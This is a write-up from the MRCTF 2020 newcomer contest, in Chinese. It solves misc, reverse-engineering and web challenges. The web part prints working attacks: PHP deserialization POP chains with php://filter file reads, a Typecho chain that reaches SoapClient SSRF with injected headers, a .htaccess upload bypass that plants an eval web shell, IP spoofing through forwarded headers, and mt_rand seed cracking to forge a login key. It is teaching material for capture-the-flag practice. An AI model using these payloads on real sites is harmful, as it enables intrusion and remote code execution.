MRCTF新生赛 2020 Write Up
# MRCTF新生赛 2020
# 前言
因为原来是准备面向萌新嘛,然后就帮忙出了一些各个方向的签到题(只会出签到题的菜菜)。
RE: 拿很久前编的游戏出了一道Unity apk逆向水题,想着提高比赛趣味性,就没想着怎么整人,很简单的解包分析dll就能出了
PWN: 当时pwn题不太够,然后就出了两个shellcode的题目,灵感也是来自hackergame2019,主要想考察打比赛的时候查资料的能力吧,Googlehack是个好东西
Misc: 出了个压缩套娃题,主要是考察python脚本编写,python还真是好用啊,尽管我还没怎么学通。。。。(留下了没技术的泪水.jpg)
Web: 原来就出了Ezpop,感觉Pop链的构造还是比较有逻辑性的,丢了一个学习链接也是为了让这题更有教育意义吧,主要考察一下 比赛现学能力,你传你马呢是Retr_0师傅给的idea,然后我去做了镜像(不得不说写Web题比打Web题难受多了,留下了没技术的眼泪*2),本意就是考察经典的上传绕过,也比较水。鉴于这两题都比较水,后来临时出了Ezpop_Revenge,主要想考察代码审计,然后就选了typecho拿来魔改,正巧typecho有个经典的POP链,为了防止直接被RCE搞并且强行套上SSRF,硬过滤了一堆东西,(后来好像把/var/html/www挂成ro能省一大堆事),导致这题有点搞心态(特别是忘记标注泄露的源码不一定是服务器的代码了),然而大佬并没有给我留Hint的机会,直接切了orz。
# Misc
# 不眠之夜
这是一个不能透露出题人信息的题目...
解法1:手动拼图(逃
解法2:写脚本拼图。通过一些方法(比如边缘的对应像素色差取平方和)计算边缘的相似度,对每个图片对象dfs其四周最相似的图片即可,复杂度(n^3),2000多像素,常数不大,可以跑。
在使用PIL拼图的时候注意生成原图长宽二倍的图片,从中间一点开始扩展,可以保证不会越界。或者检测红色像素点位置,据此构造边缘特征也可以,但这样容易出现多个强连通分量的情况,最后还要手动拼
(算法dalao请务必把脚本发来看看
解法3:gayhub上的gaps工具。谷歌搜索jigsaw solver可以找到这个工具,两秒就跑出来了。
注意其参数-size
代表了分割成正方形块的边长。显然应该取小拼图的长宽最大公因数100
# Unravel
首先拿到后binwalk分离图片发现带有aes的Tokyo 然后查看.wav文件尾,发现密文。 利用密码解密的得到另一个.wav 通过silenteye解LSB隐写 得到flag。
# 飞来横财
pragma solidity >=0.6.1;
contract Modcoin {
mapping(uint256 => bool) public is_successful;
function recvpay() public payable {
require(((msg.value / 0.001 ether ) % 2 == 0 && ((msg.value % 0.001 ether) == 0)), "Not Accepting These Coins.");
}
function getflag(uint256 target) public {
require((address(this).balance / 0.001 ether ) % 2 == 1,"Not Wanted value");
require(msg.sender.send(address(this).balance));
is_successful[target] = true;
}
fallback () external payable {
require(((msg.value / 0.001 ether ) % 2 == 0 && ((msg.value % 0.001 ether) == 0)), "Not Accepting These Coins.");
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
原合约中两个支付函数recvpay()
和 fallback()
都只允许接受偶数倍0.001 ether
的付款,而合约的getflag
函数则要求奇数倍 0.001 ether
的合约余额才可以执行(并清空合约余额),这时就需要绕过限制向合约地址发送ether,而合约自毁或挖矿产生的ether是无法拒绝的,可以通过以下自毁合约达到条件。
contract Payassist {
function destroy_pay(address payable addr) public payable {
selfdestruct(addr);
}
}
2
3
4
5
# pyflag
题目灵感:出题人感觉Misc很多题目有着相同的套路,想要尝试基于特征的隐写自动解决工具...于是就有了题目的最后一部分
拿到题目解压缩后发现三张图片。无论是使用strings命令,还是用16进制编辑器打开图片,都可以发现文件末尾隐藏了一些信息。strings会发现[Secret File Part 1-3]的标识,而16进制打开则发现文件尾的结束符并非jpg的标准结束符FF D9
。
于是将这三段隐藏信息复制到16进制编辑器中,可以得到一个压缩包。 压缩包密码是弱密码1234
然后取得了一个flag.txt,.hint已经提示了使用base16,32,64,85的编码,可以编写自动化脚本来处理,也可以手动尝试。只加密了五层,手动尝试不会很耗费时间。编写py脚本这就需要正则表达式的知识,并掌握这些编码的正则特征。 如果你选择编写脚本解码,那么请注意使用的函数传入的参数是str("Astring")还是bytes(b"Astring")。字符流和字节流的区别也很重要,可以去了解一下,明确它们的区别可以让你在数据处理时更加熟练。
#!/usr/bin/env python
import base64
import re
def baseDec(text,type):
if type == 1:
return base64.b16decode(text)
elif type == 2:
return base64.b32decode(text)
elif type == 3:
return base64.b64decode(text)
elif type == 4:
return base64.b85decode(text)
else:
pass
def detect(text):
try:
if re.match("^[0-9A-F=]+$",text.decode()) is not None:
return 1
except:
pass
try:
if re.match("^[A-Z2-7=]+$",text.decode()) is not None:
return 2
except:
pass
try:
if re.match("^[A-Za-z0-9+/=]+$",text.decode()) is not None:
return 3
except:
pass
return 4
def autoDec(text):
while True:
if b"MRCTF{" in text:
print("\n"+text.decode())
break
code = detect(text)
text = baseDec(text,code)
with open("flag.txt",'rb') as f:
flag = f.read()
autoDec(flag)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
顺便给出我的加密脚本
#!/usr/bin/env python
import base64
import re
key = "31214"
# key本来非常长。。似乎太难了改的简单了点
# key = "14332234124133132214311231"
flag = b"MRCTF{Y0u_Are_4_p3rFect_dec0der}"
def baseEnc(text,type):
if type == 1:
return base64.b16encode(text)
elif type == 2:
return base64.b32encode(text)
elif type == 3:
return base64.b64encode(text)
elif type == 4:
return base64.b85encode(text)
else:
pass
def baseDec(text,type):
if type == 1:
return base64.b16decode(text)
elif type == 2:
return base64.b32decode(text)
elif type == 3:
return base64.b64decode(text)
elif type == 4:
return base64.b85decode(text)
else:
pass
def finalEnc(text,key):
nf = text
count = 1
for i in key:
nf = baseEnc(nf,int(i,10))
#print("第"+str(count)+"次加密: ",nf)
count +=1
return nf
def finalDec(text,key):
nf = text
key = key[::-1]
print(key)
count = 1
for i in key:
nf = baseDec(nf,int(i,10))
#print("第"+str(count)+"次解密: ",nf)
count +=1
return nf
def detect(text):
try:
if re.match("^[0-9A-F=]+$",text.decode()) is not None:
return 1
except:
pass
try:
if re.match("^[A-Z2-7=]+$",text.decode()) is not None:
return 2
except:
pass
try:
if re.match("^[A-Za-z0-9+/=]+$",text.decode()) is not None:
return 3
except:
pass
return 4
def autoDec(text):
print("dec key:",end="")
while True:
if b"MRCTF{" in text:
print("\n"+text.decode())
break
code = detect(text)
text = baseDec(text,code)
print(str(code),end="")
fe = finalEnc(flag,key)
with open("flag.txt",'w') as f:
f.write(fe.decode())
'''
ff = finalDec(fe,key)
print(ff)
'''
ff = autoDec(fe)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
最后flag就是MRCTF{Y0u_Are_4_p3rFect_dec0der}
# cyberpunk!
签到题。 改时间或者逆向都行。 但是昂哥加了个壳 估计大家都会去改时间吧23333。
# 千层套路 Write Up
主要考察python脚本编写能力
虽然是千层套娃但是为了不那么毒瘤其实只有两层
第一层,自动化解压zip
试几次就知道zip的解压密码都是对应名字,可以写脚本
#coding=utf-8
import os
import zipfile
orginal_zip = "0573.zip"
while True:
tag = orginal_zip
orginal_zip = zipfile.ZipFile(orginal_zip)
for contents in orginal_zip.namelist():
password = contents[0:contents.find('.')]
print password
orginal_zip.setpassword(tag[:-4])
try:
orginal_zip.extractall()
except:
break
if(len(tag)>6):
os.system("rm "+tag)
orginal_zip=password+".zip"
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
因为博客里有写过相应脚本,这里改了下,解压密码都是对应名字而不是压缩包里名字。有个可能的坑是如果不判断的话,程序跑完会自动把qr.zip也删了
然后第二层就是qr.txt
里面一堆
(255, 255, 255)
(255, 255, 255)
(255, 255, 255)
(255, 255, 255)
(255, 255, 255)
(255, 255, 255)
(255, 255, 255)
...
2
3
4
5
6
7
8
显然是像素点
用PIL库搞下
#coding=utf-8
from PIL import Image
x = 200 #x坐标 通过对txt里的行数进行整数分
y = 200 #y坐标 x * y = 行数
im = Image.new("RGB", (x, y))
file = open('qr.txt')
for i in range(0, x):
for j in range(0, y):
line = file.readline() #获取一行的rgb值
line = line[:-2]
line = line[1:]
print line
rgb = line.split(", ") #分离rgb,文本中逗号后面有空格
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))
im.save('flag.png')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
拿到二维码,扫一下拿到flag
flag="MRCTF{ta01uyout1nreet1n0usandtimes}"
# ezmisc
下载附件得到一张png图片,在windows下能打开看到,拖进kali中会显示CRC error,由此可以推断
图片的宽度/高度有问题,又因为图片宽度有问题时在windows下无法正常打开图片,所以本题为图片
高度有问题,修改图片高度即可看到flag:MRCTF{1ts_vEryyyyyy_ez!}
附上有关CRC错误的隐写分析网址:https://www.bbsmax.com/A/gVdnlMVXJW/
ctfwiki中也有很详细的介绍:https://ctf-wiki.github.io/ctf-wiki/misc/picture/png-zh/
# 你能看懂音符吗
下载附件,解压时报错,放进winhex查看,发现rar文件头错误,将6152
修改为5261
后再解压,即
可得到一个word文档,打开后发现内容被隐藏,搜索word隐写可知其隐写方式,将被隐藏的内容显
示出来,得到一串音符,在线网址解密音符即可得到flag
word隐写方式(供参考):https://blog.csdn.net/q_l_s/article/details/53813971
解密网址:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue
flag:MRCTF{thEse_n0tes_ArE_am@zing~}
# Web
# PYWebsite
一道简单的前端trick题目,希望更多人注意到前端验证是不安全的。
首先过一遍业务逻辑,是购买授权码,再验证授权码的过程。自然想到审计验证过程的漏洞。点击按钮弹出窗口是js控制的,进而猜测验证逻辑处于前端,于是查看源代码发现逻辑如下:
不知道MD5?事实上我们根本不需要理会前端的验证,只需要直接跳转到flag.php即可。 (md5("ARandomString"))
进入flag.php,题目告诉我们只有特定的IP才能访问,并且是后端验证。事实上,应用层使用XFF验证IP也是没有意义的。PHP使用X-Forward-For这个http的请求头来验证,而这个请求头我们可以伪造。
我们不知道购买者的IP,但是知道“自己”的IP,也就是本地环回地址127.0.0.1
。因此只需要用抓包软件抓到HTTP的请求包,进行修改(加入X-Forwarded-For: 127.0.0.1
一行)就可以欺骗过验证逻辑。
最后的flag字体我调成了白色hhh 所以要多观察源代码
后端的验证逻辑一般如下:
function checkXFF() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (strpos($ip, "127.0.0.1") !== false) {
return true;
}
}
return false;
}
2
3
4
5
6
7
8
9
10
顺便一提,如何验证用户的真实IP呢?确实不好办。因为用户可能使用代理(称为正向代理),我们的服务器因为业务需求,也会进行负载均衡等转发操作(称为反向代理)。但如果这个过程没有经过代理,一般使用Remote_Addr是可以获得真实IP的。
flag:MRCTF{Ba1_Pia0_Flag_1s_ve7y_H4PPY!}
# Ez_bypass
很简单的bypass 第一步md5好多种绕过方法。 可以当数组,可以当md5碰撞,可以构造0e开头科学计数法。 第二步用语句绕过 1234567|1=1 即可得到flag 比较简单
# EzPop
主要考察对php魔术化方法的了解
提示里有参考资料,也是为了锻炼赛场上的自学能力吧
考点就这三个
# 反序列化魔术方法
__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
2
3
4
5
6
7
8
9
# public、protected与private在序列化时的区别
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
# BASE64 Wrapper LFI
php://filter/convert.base64-encode/resource=flag.php
Exp:
<?php
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Modifier{
protected $var;
function __construct(){
$this->var="php://filter/convert.base64-encode/resource=flag.php";
}
}
$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
var_dump(urlencode(serialize($s)));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
分析:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);//8.触发这个include,利用php base64 wrapper 读flag
}
public function __invoke(){
$this->append($this->var);//7.然后会调用到这里
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象
}
public function __wakeup(){//2.如果pop是个Show,那么调用这里
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;//5.触发到这里
return $function();//6.()会调用__invoke,我们这里选择Modifier对象
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);//1.反序列调用这里
}
else{
$a=new Show;
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
构造即可
# 套娃
在URL中GET请求当输入.
或者(空格)或者
_
都会忽略,因此b_u_p_t
,其实就是b u p t
,正则的意思是必须要23333开头和结尾,但是值不能为23333,这个时候url的%0A为换行污染,可以绕过正则,且值不为23333。直接进入下一个套娃。jsfuck在控制器输出发现POST Merak。Post Merak=1即可查看源码。判断意图是模拟本地用户,这里我禁了XFF头,可以用Client-ip进行绕过即可,最后file_get_contents
需要解密,exp如下
<?php
function decode($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
function en_code($value){
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i]) - $i*2);
}
$result = base64_encode($result);
return $result;
}
echo en_code("flag.php");
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Ezaudit
index页面是一个啥也没用的页面,需要扫后台,发现存在login.php为空,考虑到可能是处理后端,前端则是login.html
,发现是一个简单的登录框,只有登录框想到大概率存在源码泄露,发现www.zip
文件,判断登录逻辑是sql查询,没有任何过滤,可以直接万能密码,还需要输入密钥,这里产生公钥和秘钥的机制都是使用mt_rand,而这是个伪随机数,可以进行破解,知道公钥后将公钥转化成php_mt_seed
格式,gayhub
直接git clone,得到种子后,再将其生成12位密钥即可,具体原理:https://blog.csdn.net/crisprx/article/details/104306971
exp:
<?php
$str = "KVQP0LdJKRaV3n9D";
$randStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
/**
*爆破得到mt_srand = 1775196155
*/
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
/**
* 先生成一次公钥在生成一次密钥 XuNhoueCDCGc
*/
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key();
echo "\n";
echo private_key();
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 你传你🐎呢
很经典的上传绕过,主要考察一下基本的上传绕过技能
利用BurpSuite修改MIME欺骗后端文件类型 修改 Content-Type: image/png 然后就可以传任意文件后缀 利用.htaccess来制作图片马
增加使用php解析的文件后缀(.jpg)
AddType application/x-httpd-php .jpg
然后再写个一句话
<?php eval($_REQUEST['eki']);?>
用蚁剑连上就可以了
# Ezpop Revenge
主要考察CMS审计能力和SSRF的应用 顺着Typecho的源码搞的 从Github上克隆源码,发现1.2预览版还有1.1的POP链 改造了一下入口,然后套了SoapClient来SSRF
入口点
//HelloWorld/Plugin.php
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|op|sy|exec|dl|ini|pass|scan|log|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
//call_user_func("call_user_func",array($a,"233"));
}
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
路由点
//Typecho/Plugin.php
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
2
Pop链可以参照Exp:
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __construct($coincidence){
$this->coincidence = $coincidence;
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Request{
private $_params;
private $_filter;
function __construct($params,$filter){
$this->_params=$params;
$this->_filter=$filter;
}
}
class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function addItem(array $item){
$this->_items[] = $item;
}
}
$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
'uri' => "aaab"));
$payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp1 = array('hello' => $payload2, 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1);
echo serialize($exp)."\n";
echo urlencode(base64_encode(serialize($exp)));
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
可以分析内网地址
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{Cr4zy_P0p_4nd_RCE}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>
2
3
4
5
6
这也是为啥cookie要带session
用payload打一次刷新下页面var_dump()就会dumpflag出来了
# Not So Web Application
首先是题目说明,这玩意本来没这么恶心(没伪装加上 User 和 SQL 那个 SVG)
本题主要难点在于 Web Assembly 至今没有个能用的调试器,所以需要多种手段动调+静态调试。
可以先通过和其他 Qt for Web Assembly 程序比对,去掉一大半疑似函数,同时可以通过搜索字符串(Incorrect等)确定大概相关函数位置。
同时通过给输入框塞入大量垃圾(>64KB,wasm基本内存单位)触发内存越界错误找到变量存储位置。最终在浏览器里动调和 wasm2c 的辅助可以找到flag加密后内容和比对算法。
# RE
# Xor(校内专供)
异或一次后的数据再异或一次即可得到原数据 将输入字符和序号进行异或,再与目标数组比较 所以只需要将目标数组反过来再次异或就可以得到flag
#include<cstdio>
#include<cstring>
#include<cstdlib>
char flag[100]={0x4D,0x53,0x41,0x57,0x42,0x7E,0x46,0x58,0x5A,0x3A,0x4A,0x3A,0x60,0x74,0x51,0x4A,0x22,0x4E,0x40,0x20,0x62,0x70,0x64,0x64,0x7D,0x38,0x67};
int main()
{
for(int i=0;i<strlen(flag);i++)
{
unsigned char tmp=flag[i];
tmp^=i;
printf("%c",tmp);
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
得到flag:MRCTF{@_R3@1ly_E2_R3verse!}
# Transform
其实就是个简单的字符置换,可以试试输入有规律的字符串,然后dump出处理过后的字符串 这样就知道置换矩阵了,拿出数据置换一下,异或一下就是flag。。
# 撸啊撸
这道题目其实题目名有很大的提示,lua lu 这个使用cpp内嵌lua写的,不然为什么会显示"I need My friend to help me check your flag!" 只需要根据判断逻辑逆向思考,可以看出sub_7FF650AFD980是个很重要的函数 然后观察它的参数,发现出入了一个乱七八糟的字符串。 看不出来是啥,但是如果动调,就会发现这个字符串被修改了,看的懂了
cmps={83,80,73,80,76,125,61,96,107,85,62,63,121,122,101,33,123,82,101,114,54,100,101,97,85,111,39,97}
print("Give Me Your Flag LOL!:")
flag=io.read()
if string.len(flag)~=29 then
print("Wrong flag!")
os.exit()
end
for i=1,string.len(flag) do
local x=string.byte(flag,i)
if i%2==0 then
x=x~i
else
x=x+6
end
if x~=cmps[i] then
print("Wrong flag!")
os.exit()
end
end
print("Right flag!")
os.exit()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
这里的~是异或的意思,就很容易看懂了 EXP
a=[83,80,73,80,76,125,61,96,107,85,62,63,121,122,101,33,123,82,101,114,54,100,101,97,85,111,39,97]
flag=""
for i in range(1,29):
x=a[i-1]
if i%2==0:
x^=i
else:
x-=6
flag+=chr(x)
print flag
2
3
4
5
6
7
8
9
10
# PixelShooter
这道题目使用了Unity写的个小游戏 表面上是apk,其实是个C#逆向 大部分的Unity都是用C#写的,其中有个存储逻辑代码的C#二进制文件 Assembly-Csharp.dll 所以只要找到这个玩意就是了 apk解包,PixelShooter.apk\assets\bin\Data\Managed下面就是了 dnspy打开 即可在UIController下找到flag MRCTF{Unity_1S_Fun_233}
# Junk
这道题如同其名字,Junk 往里面塞了很多JunkCode,只要一个个去掉就是了,U和C键交替(里面插了许多0xE8字节来迷惑IDA) 顺便把一些稀里糊涂的Call给删了(通过Call一个函数,函数里修改了EIP的值,进行跳转,这会导致F5分析失败) 可以仔细分析一下,这里对输入进行了异或 然后实现了循环左移和右移的操作,鉴于位移四位,其实左移右移都是一样的 这里还有个奇怪的函数sub_B81090,对数据进行了奇怪的操作 点开看看
char __fastcall sub_B81090(char *a1, int a2)
{
int v2; // eax
signed int v3; // esi
int v4; // edi
char v5; // al
unsigned __int8 v6; // ah
unsigned __int8 v7; // dh
unsigned __int8 v8; // bh
unsigned __int8 v9; // dl
signed int v10; // eax
bool v11; // cf
unsigned __int8 v12; // cl
int i; // ecx
int v15; // [esp+8h] [ebp-14h]
char v16; // [esp+10h] [ebp-Ch]
char v17; // [esp+11h] [ebp-Bh]
char v18; // [esp+12h] [ebp-Ah]
char v19; // [esp+13h] [ebp-9h]
unsigned __int8 v20; // [esp+14h] [ebp-8h]
unsigned __int8 v21; // [esp+15h] [ebp-7h]
unsigned __int8 v22; // [esp+16h] [ebp-6h]
unsigned __int8 v23; // [esp+1Bh] [ebp-1h]
v2 = a2;
v3 = 0;
v4 = 0;
if ( a2 )
{
do
{
v15 = v2 - 1;
v5 = *a1++;
*(&v20 + v3++) = v5;
v6 = v22;
v7 = v21;
v8 = v20;
v23 = v22;
if ( v3 == 3 )
{
v9 = (v22 >> 6) + 4 * (v21 & 0xF);
v17 = (v21 >> 4) + 16 * (v20 & 3);
v18 = (v22 >> 6) + 4 * (v21 & 0xF);
v19 = v22 & 0x3F;
v16 = v20 >> 2;
byte_BA1708[v4] = byte_B9EA00[v20 >> 2];
byte_BA1709[v4] = byte_B9EA00[(unsigned __int8)((v7 >> 4) + 16 * (v8 & 3))];
byte_BA170A[v4] = byte_B9EA00[v9];
byte_BA170B[v4] = byte_B9EA00[v6 & 0x3F];
v4 += 4;
v3 = 0;
}
v2 = v15;
}
while ( v15 );
if ( v3 )
{
v10 = v3;
if ( v3 >= 3 )
{
v12 = v23;
}
else
{
v11 = (unsigned int)v3 < 3;
do
{
if ( !v11 )
{
sub_B8150A(a1);
JUMPOUT(*(_DWORD *)algn_B811F3);
}
*(&v20 + v10++) = 0;
v11 = (unsigned int)v10 < 3;
}
while ( v10 < 3 );
v12 = v22;
v7 = v21;
v8 = v20;
}
v16 = v8 >> 2;
v17 = (v7 >> 4) + 16 * (v8 & 3);
LOBYTE(v2) = v12 >> 6;
v19 = v12 & 0x3F;
v18 = (v12 >> 6) + 4 * (v7 & 0xF);
for ( i = 0; i < v3 + 1; ++v4 )
{
v2 = (unsigned __int8)*(&v16 + i++);
LOBYTE(v2) = byte_B9EA00[v2];
byte_BA1708[v4] = v2;
}
if ( v3 < 3 )
LOBYTE(v2) = sub_B822E0(&byte_BA1708[v4], 46, 3 - v3);
}
}
return v2;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
不难发现就是个base64变种,不过就是把表换了一下,等于号换成点而已 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz)!@#$%^&*(+/ 最后在和已有字符串比较 所以思路很简单: 解变种base64->循环左移4位->异或3->得到flag EXP
import base64
orig="%BUEdVSHlmfWhpZn!oaWZ(aGBsZ@ZpZn!oaWZ(aGBsZ@ZpZn!oYGxnZm%w.."
orig=orig.replace(')','0')
orig=orig.replace('!','1')
orig=orig.replace('@','2')
orig=orig.replace('#','3')
orig=orig.replace('$','4')
orig=orig.replace('%','5')
orig=orig.replace('^','6')
orig=orig.replace('&','7')
orig=orig.replace('*','8')
orig=orig.replace('(','9')
orig=orig.replace('.','=')
print orig
code=base64.b64decode(orig).encode('hex')
flag=""
for x in range(0,len(code),2):
num=int(code[x:x+2],16)
num=(((num>>4)&0xff) | ((num<<4)&0xff))
flag+=chr(num^3)
print flag
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
MRCTF{junkjunkjunkcodejunkjunkcodejunkcode}
# EasyCPP
程序运用了较多的cpp特性 所以代码看起来会比较冗杂,好在给了符号 总体上是要输入9个数字,并存入了Vector 然后通过lambda表达式进行了每个数字异或1的操作,然后对结果调用了个depart的函数 得到一个string的结果,最后和原有的9个奇怪字符串比较 最后输出九个数字拼起来的字符串,flag就是要把这九个数字拼起来进行md5校验后包起来
然后来分析下depart函数和那个负责替换的lambda表达式
__int64 __fastcall depart(int a1, __int64 a2, double a3)
{
char v4; // [rsp+20h] [rbp-60h]
char v5; // [rsp+40h] [rbp-40h]
int i; // [rsp+68h] [rbp-18h]
int v7; // [rsp+6Ch] [rbp-14h]
v7 = a1;
for ( i = 2; ; ++i )
{
std::sqrt<int>((unsigned int)a1); //枚举到根号n
if ( a3 < (double)i )
break;
if ( !(a1 % i) ) //能分解就分解
{
v7 = i;
depart((unsigned int)(a1 / i), a2); //递归分解
break;
}
}
std::__cxx11::to_string((std::__cxx11 *)&v5, v7); //将数字转为字符串以空格为间隔符合并起来
std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v4, &unk_500C, &v5);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(a2, &v4);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v4);
return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
最后那个比较函数其实就是
replace(a.begin(),a.end(),'0','O');
replace(a.begin(),a.end(),'1','l');
replace(a.begin(),a.end(),'2','z');
replace(a.begin(),a.end(),'3','E');
replace(a.begin(),a.end(),'4','A');
replace(a.begin(),a.end(),'5','s');
replace(a.begin(),a.end(),'6','G');
replace(a.begin(),a.end(),'7','T');
replace(a.begin(),a.end(),'8','B');
replace(a.begin(),a.end(),'9','q');
replace(a.begin(),a.end(),' ','=');
2
3
4
5
6
7
8
9
10
11
将这些东西替换回数字,再把这些数字乘起来,再异或1一下就是输入的九个数字
2345
1222
5774
2476
3374
9032
2456
3531
6720
MRCTF{4367FB5F42C6E46B2AF79BF409FB84D3}
2
3
4
5
6
7
8
9
10
# Shit
这道题目是临时出的,其实只要过掉开局的一个死循环,也可以attach,然后dump出密钥 就可以直接进行解密了,解密算法其实就是加密算法的逆向过程,全是位运算
//key就是密钥 请直接dump
